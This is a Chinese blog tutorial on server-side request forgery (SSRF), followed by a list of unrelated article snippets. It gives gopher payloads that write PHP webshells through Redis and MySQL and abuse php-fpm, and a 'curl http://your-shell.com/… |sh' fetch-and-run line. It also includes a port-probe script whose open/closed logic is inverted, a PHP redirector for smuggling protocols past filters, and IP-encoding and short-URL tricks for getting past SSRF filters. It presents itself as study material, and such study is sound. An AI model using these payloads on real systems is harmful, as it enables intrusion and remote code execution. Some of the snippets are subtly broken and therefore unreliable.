当前位置: 首页 > news >正文

SSRF (服务端请求伪造)

🎼个人主页:金灰

😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨

c9b349d844784b9c920902604a87df86.png

专注网络空间安全服务,期待与您的交流分享~

感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️

 

🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~

免责声明:本文仅做技术交流与学习...

目录

SSRF

特点:

条件:

判断:

URL格式:

SSRF的利用面:

1 任意文件读取

2 探测内网资源

3 使用gopher协议扩展攻击面

ssrf端口开放检测脚本:

redis 6379 :

 mysql 3306:

 php-fpm:

Gopherus-master工具(py2) 

 php原生类进行ssrf

ssrf绕过:

1 enclosed alphanumerics 绕过:

2 使用IP地址转换

3 特殊语法绕过

4 如果对方可以接受302跳转,并且跟进302跳转

302.php 

5 利用短网址绕过


 

SSRF

Server-side Request Forgery 服务端请求伪造.攻击者向服务端发送包含恶意url连接的请求,借由服务端发起请求--
以便获取服务端网络内部的资源一句话总结:
控制服务端使用指定协议访问指定的url

特点:

1 让别人访问我们访问不到的url
2 拿到自己本来拿不到的数据

条件:

1 别人能帮我访问url 服务端有接受url地址并进行访问的功能(请求是服务端发起的)
2 url地址外部可控

判断:

9394c8fe13b94995bdab7a82d2404ef7.png

https://xxx.com/index.php?url=http://www.baidu.com
//index.php-->
<?php
$url = $_GET['url'];
header('location:'.$url); //302的跳转
?>
是不是属于ssrf?
========================
告诉浏览器,你去访问这个地址 
此时,浏览器,是客户端还是服务端?客户端   
此时,服务器没有访问这个Url,只是告诉你浏览器,去跳转到这个地址去
是浏览器去访问,不是服务端去访问(location)
所以,不是SSRF
只能算 任意跳转漏洞
<?php
$url = $_GET['url'];
header('location:'.$url); //302的跳转//服务端访问(php代码)
echo file_get_contents("$url");

分清  是否是ssrf?
url地址可控

http://10.xx.xx.xx/        
file:///etc/passwd


URL格式:

URL = scheme:[//authority]path[?query][#fragment]
schema: 协议头
://
authority 
[userinfo@]host[:port]
默认使用80端口,而80端口默认情况下,是可以省略http://www.baidu.com/robots.txt
--->
本质,就是 通过指定的协议,访问互联网上某台服务器的某个资源或者某个文件
默认使用匿名账户访问---
userinfo: username:password@hostschema://username:password@host:port/path?a=b#top
http://ctfer:hacker@www.baidu.com/robots.txt     //任意匿名都能访问

必须知道要读的文件名(通配符不支持)


SSRF的利用面:

1 任意文件读取

--前提是知道要读取的文件名

2 探测内网资源

127.0.0.1 mysql服务端监听了127.0.0.1这个地址,也就表示,只能通过127.0.0.1这个IP来访问
0.0.0.0 表示允许任意ip访问
192.168.233.233 只允许特定的IP地址访问
(探测到此服务器同内网的服务器)

3 使用gopher协议扩展攻击面

// 只负责将数据转发到某端口.

 apache/nginx 80tomcat 8080node 3000flask 8080php-fpm 9000mysql 3306ftp 21ssh 22redis 6379#21 ftp
#22 ssh
#80 http
#443 https
#3389 rdp windows远程桌面
#1433 ms-sqlserver 默认端口
#3306 mysql 默认端口
#6379 redis 默认端口
#9000 php-fpm 默认端口

ssrf端口开放检测脚本:

import requests
url = "<ssrf入口网址>"
# 端口自己变
ports = [21,22,80,443,3389,1433,3306,6379]
for p in ports:try:data={"url":f"gopher://127.0.0.1:{p}/"}response = requests.post(url=url,data=data,timeout=2) #超时2秒就认为端口开了.except:print(f"端口{p}开放")

file:///etc/nginx/nginx.conf 


redis 6379 :

支持key-value  gopher://127.0.0.1:6379/_save_/var/www/html/1.php_<?php eval($_POST[1]);?>

 mysql 3306:

用户密码为空 select '<?php eval($_POST[1];?>)'

 php-fpm:

php-fpm 默认监听9000端口,而且只允许本机127.0.0.1这个地址访问主要负责对.php文件的代码解释执行  
----->我们可以通过向9000端口发送格式的请求,来让9000端口背后的php-fpm帮我们处理我们提交的php代码
----通过向9000端口发送php执行请求设置php.ini中的运行参数其中使用 auto_append_file 来指定 php://input 包含恶意代码,然后执行为了能使用auto_append_file参数,必须有一个存在的php文件来使用这个配置项curl http://your-shell.com/IP:PORT |sh

 


 

Gopherus-master工具(py2) 

ssrf----生成数据库...的payload
实战时注意二次编码等等

27e1b25104df4db78f3c79f21c38fd5e.png


 php原生类进行ssrf

php_soap

php_soap
php -m   //查看安装的插件,扩展$soap = new SoapClient($_GET['url']);
$soap->hack();  //访问任意不存在方法。
//$soap->__call() //不存在就调用__call方法--访问不存在的地址,
--只支持http
url可控时,可以发送内网请求

 

ssrf绕过:

只要不允许它访问本地地址即可,也就是说,过滤的目的是,不让访问127.0.0.1地址

1 enclosed alphanumerics 绕过:

127.0.0.1 -> 127.⓿.⓿.1
(有些环境 Linux可用)


2 使用IP地址转换

IP地址十六进制、二进制、十进制转换-ME2在线工具

在线IP地址转八进制数字 - 八进制转IP地址 - IP转八进制在线工具—LZL在线工具

https://www.metools.info/other/ipconvert162.html
https://lzltool.cn/Tools/IpToOct
所有的域名->IP  
ip可以使用不同进制来表示 127.0.0.1用不同进制可以表示为
- 2130706433  10进制 http://2130706433  
- 017700000001 8进制 http://017700000001 
- 7F000001 16进制   http://0x7F000001 
-二进制不行.

3 特殊语法绕过

Windows 下 0 代表的是0.0.0.0 
而Linux 下 0 代表的是127.0.0.1127.0.0.1 可以省略为 127.1	(省略)
127。0。0。1 可以替代127.0.0.1	(中文点)

4 如果对方可以接受302跳转,并且跟进302跳转

可以发送http的协议。但是返回的location为其他协议
http://xxx.com/302.php?schema=gopher&host=127.0.0.1&port=9000&payload=xxxx
--把要构建的要素发给302跳转,让它帮我们组装一个.302.php  //服务端接受302跳转,我们跟进一下.

302.php 

<?php  
$schema = $_GET['s'];
$ip     = $_GET['i'];
$port   = $_GET['p'];
$query  = $_GET['q'];
if(empty($port)){  header("Location: $schema://$ip/$query"); 
} else {header("Location: $schema://$ip:$port/$query"); 
}

5 利用短网址绕过

在线短链接生成工具 - 免费短网址转换 - toolfk

https://toolfk-api.xiuxiandou.com/zh-cn/tools/short-url.html
baidu.com  不允许出现baidu或者限制了url长度,我们可以切换为短网址,来绕过长度的限制

 


 

 

相关文章:

SSRF (服务端请求伪造)

&#x1f3bc;个人主页&#xff1a;金灰 &#x1f60e;作者简介:一名简单的大一学生;易编橙终身成长社群的嘉宾.✨ 专注网络空间安全服务,期待与您的交流分享~ 感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持&#xff01;❤️ &#x1f34a;易编橙终身成长社群&#…...

SQL中的LEFT JOIN、RIGHT JOIN和INNER JOIN

在SQL中&#xff0c;JOIN操作是连接两个或多个数据库表&#xff0c;并根据两个表之间的共同列&#xff08;通常是主键和外键&#xff09;返回数据的重要方法。其中&#xff0c;LEFT JOIN&#xff08;左连接&#xff09;、RIGHT JOIN&#xff08;右连接&#xff09;和INNER JOIN…...

[网鼎杯 2020 朱雀组]Nmap(详细解读版)

这道题考察nmap的一些用法,以及escapeshellarg和escapeshellcmd两个函数的绕过&#xff0c;可以看这里PHP escapeshellarg()escapeshellcmd() 之殇 (seebug.org) 两种解题方法&#xff1a; 第一种通过nmap的-iL参数读取扫描一个文件到指定文件中第二种是利用nmap的参数写入we…...

【React】详解“最新”和“最热”切换与排序

文章目录 一、基本概念和初始化二、切换与排序功能的实现1. 函数定义和参数2. 设置活动 Tab3. 定义新列表变量4. 根据排序类型处理列表4.1 按时间降序排序4.2 按点赞数降序排序 5. 更新评论列表 三、渲染导航 Tab 和评论列表1. map 方法2. key 属性3. className 动态赋值4. onC…...

BUUCTF [MRCTF2020]Ezpop

这道题对于刚接触到pop链的我直接把我整懵了&#xff0c;一边看着魔术方法一边分析 魔术方法可以看这里PHP 魔术方法 - 简介 - PHP 魔术方法 - 简单教程&#xff0c;简单编程 (twle.cn) 代码解析 经过以上的分析我们可以理一下解题思路&#xff1a;接收参数反序列化之前先触发…...

RV1126 Linux 系统,接外设,时好时坏(一)应该从哪些方面排查问题

在 Linux 系统中接外设时,遇到“时好时坏”的问题,可能是由多种因素引起的。以下是一些排查问题的建议。 1. 硬件方面的排查 1.1 连接检查 物理连接: 确保外设与主板之间的连接良好,检查插头、插座及线缆是否牢固。引脚配置: 确认设备树中引脚的配置是否正确,尤其是引脚…...

Vue实现简单小案例

一、创建文件夹 二、引用vue.js <script src"../js/vue.js"></script> 三、准备一个容器 <div id"app"><h1>Hello,{{name}}</h1> </div> 四、创建实例 <script>new Vue({el:"#app", //el用于指…...

【MATLAB APP】建立独立桌面APP

背景&#xff1a;已有MATLAB APP的.mlapp文件&#xff0c;但客户提出需要可以直接使用的exe文件。 要求&#xff1a;点开即用&#xff0c;无需下载MATLAB。使用者无法修改APP的代码。 一、环境配置 APP创建者&#xff1a;安装MATLAB R2023a&#xff0c;配置Application Compile…...

Spring的优缺点?

Spring的优缺点 直接回答相关的Spring的特点&#xff1a; IOC AOP 事务 简化开发&#xff1a; 容易集成JDBCTemplateRestTemplate&#xff08;接口远程调用&#xff09;邮件发送相关异步消息请求支持 更加深入就讲源码了 优点&#xff1a; 方便解耦&#xff0c;简化开发…...

第一百八十三节 Java IO教程 - Java目录事件、Java异步I/O

Java IO教程 - Java目录事件 当文件系统中的对象被修改时&#xff0c;我们可以监听watch服务以获取警报。 java.nio.file包中的以下类和接口提供watch服务。 Watchable接口WatchService接口WatchKey接口WatchEvent接口WatchEvent.Kind接口StandardWatchEventKinds类 可监视对…...

【设计模式】(万字总结)深入理解Java中的创建型设计模式

1. 前言 在软件开发的世界里&#xff0c;设计模式是一种被广泛接受并应用的解决方案。它们不仅仅是代码的设计&#xff0c;更是对问题的思考和解决的方法论。在Java开发中&#xff0c;特别是在面向对象的编程中&#xff0c;设计模式尤为重要。创建型设计模式&#xff0c;作为设…...

【全面讲解下Docker in Docker的原理与实践】

🌈个人主页: 程序员不想敲代码啊 🏆CSDN优质创作者,CSDN实力新星,CSDN博客专家 👍点赞⭐评论⭐收藏 🤝希望本文对您有所裨益,如有不足之处,欢迎在评论区提出指正,让我们共同学习、交流进步! 👉目录 👉前言👉原理👉实践👉安全和最佳实践👉前言 🦛…...

Android Settings增加多击事件,增加开发者模式打开难度

软件平台&#xff1a;Android11 硬件平台&#xff1a;QCS6125 需求来源&#xff1a;用户通过系统异常崩溃&#xff0c;进入原生Settings页面&#xff0c;通过默认的多击版本号方式打开开发者模式&#xff0c;继而打开adb调试开关&#xff0c;安装三方apk。 对付这种需求本来有…...

【相机与图像】1. 相机模型的介绍:内参、外参、畸变参数

想着整理下相机模型&#xff08;内容上参考 slam十四讲&#xff09;、相机的内外参标定。方便自己的使用和回顾。 不过&#xff0c;内外参标定啥时候记录随缘 -_- 概述 【构建相机模型】 相机将三位世界中的坐标点&#xff08;单位为米&#xff09;映射到二维图像平面&#xff…...

Linux内核netlink机制 - 用户空间和内核空间数据传输

简介&#xff1a; Netlink socket 是一种Linux特有的socket&#xff0c;用于实现用户空间与内核空间通信的一种特殊的进程间通信方式(IPC) &#xff0c;也是网络应用程序与内核通信的最常用的接口。 Netlink 是一种在内核和用户应用间进行双向数据传输的非常好的方式&a…...

Node.js自动化处理TOML文件

在软件开发过程中&#xff0c;自动化处理配置文件是一种常见的需求。TOML&#xff08;Tom’s Obvious, Minimal Language&#xff09;是一种用于配置文件的简单易读的格式。本文将展示如何使用Node.js和一些流行的库来自动化读取、修改并写入TOML文件。 1. 准备工作 在开始之前…...

Spring boot 后端向前端发送日期时间发现少了8小时

问题 数据库 后端的控制台输出 前端控制台输出 可以发现少了8小时 问题 springboot 向前端响应数据是默认 Json 格式&#xff0c;所以会有类型转换&#xff0c;springboot 就通过 Jackson 来对 data 类型数据进行转换&#xff0c;但是Jackson 类型的时区是 GMT&#xff0c;与…...

MySQL数据库(基础篇)

&#x1f30f;个人博客主页&#xff1a;心.c 前言&#xff1a;今天讲解的是MySQL的详细知识点的&#xff0c;希望大家可以收货满满&#xff0c;话不多说&#xff0c;直接开始搞&#xff01; &#x1f525;&#x1f525;&#x1f525;文章专题&#xff1a;MySQL &#x1f63d;感…...

ffmpeg ffplay.c 源码分析二:数据读取线程

本章主要是分析 数据读取线程read_thread 中的工作。如上图红色框框的部分 从ffplay框架分析我们可以看到&#xff0c;ffplay有专⻔的线程read_thread()读取数据&#xff0c; 且在调⽤av_read_frame 读取数据包之前需要做&#xff1a; 1.例如打开⽂件&#xff0c; 2.查找配置解…...

国科大作业考试资料《人工智能原理与算法》2024新编-第十三次作业整理

1、假设我们从决策树生成了一个训练集&#xff0c;然后将决策树学习应用于该训练集。当训练集的大小趋于无穷时&#xff0c;学习算法将最终返回正确的决策树吗&#xff1f;为什么是或不是&#xff1f; 本次有两个参考&#xff1a; 参考一&#xff1a; 当训练集的大小趋于无穷…...

在软件开发中正确使用MySQL日期时间类型的深度解析

在日常软件开发场景中&#xff0c;时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志&#xff0c;到供应链系统的物流节点时间戳&#xff0c;时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库&#xff0c;其日期时间类型的…...

cf2117E

原题链接&#xff1a;https://codeforces.com/contest/2117/problem/E 题目背景&#xff1a; 给定两个数组a,b&#xff0c;可以执行多次以下操作&#xff1a;选择 i (1 < i < n - 1)&#xff0c;并设置 或&#xff0c;也可以在执行上述操作前执行一次删除任意 和 。求…...

Robots.txt 文件

什么是robots.txt&#xff1f; robots.txt 是一个位于网站根目录下的文本文件&#xff08;如&#xff1a;https://example.com/robots.txt&#xff09;&#xff0c;它用于指导网络爬虫&#xff08;如搜索引擎的蜘蛛程序&#xff09;如何抓取该网站的内容。这个文件遵循 Robots…...

高防服务器能够抵御哪些网络攻击呢?

高防服务器作为一种有着高度防御能力的服务器&#xff0c;可以帮助网站应对分布式拒绝服务攻击&#xff0c;有效识别和清理一些恶意的网络流量&#xff0c;为用户提供安全且稳定的网络环境&#xff0c;那么&#xff0c;高防服务器一般都可以抵御哪些网络攻击呢&#xff1f;下面…...

是否存在路径(FIFOBB算法)

题目描述 一个具有 n 个顶点e条边的无向图&#xff0c;该图顶点的编号依次为0到n-1且不存在顶点与自身相连的边。请使用FIFOBB算法编写程序&#xff0c;确定是否存在从顶点 source到顶点 destination的路径。 输入 第一行两个整数&#xff0c;分别表示n 和 e 的值&#xff08;1…...

代理篇12|深入理解 Vite中的Proxy接口代理配置

在前端开发中,常常会遇到 跨域请求接口 的情况。为了解决这个问题,Vite 和 Webpack 都提供了 proxy 代理功能,用于将本地开发请求转发到后端服务器。 什么是代理(proxy)? 代理是在开发过程中,前端项目通过开发服务器,将指定的请求“转发”到真实的后端服务器,从而绕…...

Mobile ALOHA全身模仿学习

一、题目 Mobile ALOHA&#xff1a;通过低成本全身远程操作学习双手移动操作 传统模仿学习&#xff08;Imitation Learning&#xff09;缺点&#xff1a;聚焦与桌面操作&#xff0c;缺乏通用任务所需的移动性和灵活性 本论文优点&#xff1a;&#xff08;1&#xff09;在ALOHA…...

SAP学习笔记 - 开发26 - 前端Fiori开发 OData V2 和 V4 的差异 (Deepseek整理)

上一章用到了V2 的概念&#xff0c;其实 Fiori当中还有 V4&#xff0c;咱们这一章来总结一下 V2 和 V4。 SAP学习笔记 - 开发25 - 前端Fiori开发 Remote OData Service(使用远端Odata服务)&#xff0c;代理中间件&#xff08;ui5-middleware-simpleproxy&#xff09;-CSDN博客…...

scikit-learn机器学习

# 同时添加如下代码, 这样每次环境(kernel)启动的时候只要运行下方代码即可: # Also add the following code, # so that every time the environment (kernel) starts, # just run the following code: import sys sys.path.append(/home/aistudio/external-libraries)机…...

Kafka主题运维全指南:从基础配置到故障处理

#作者&#xff1a;张桐瑞 文章目录 主题日常管理1. 修改主题分区。2. 修改主题级别参数。3. 变更副本数。4. 修改主题限速。5.主题分区迁移。6. 常见主题错误处理常见错误1&#xff1a;主题删除失败。常见错误2&#xff1a;__consumer_offsets占用太多的磁盘。 主题日常管理 …...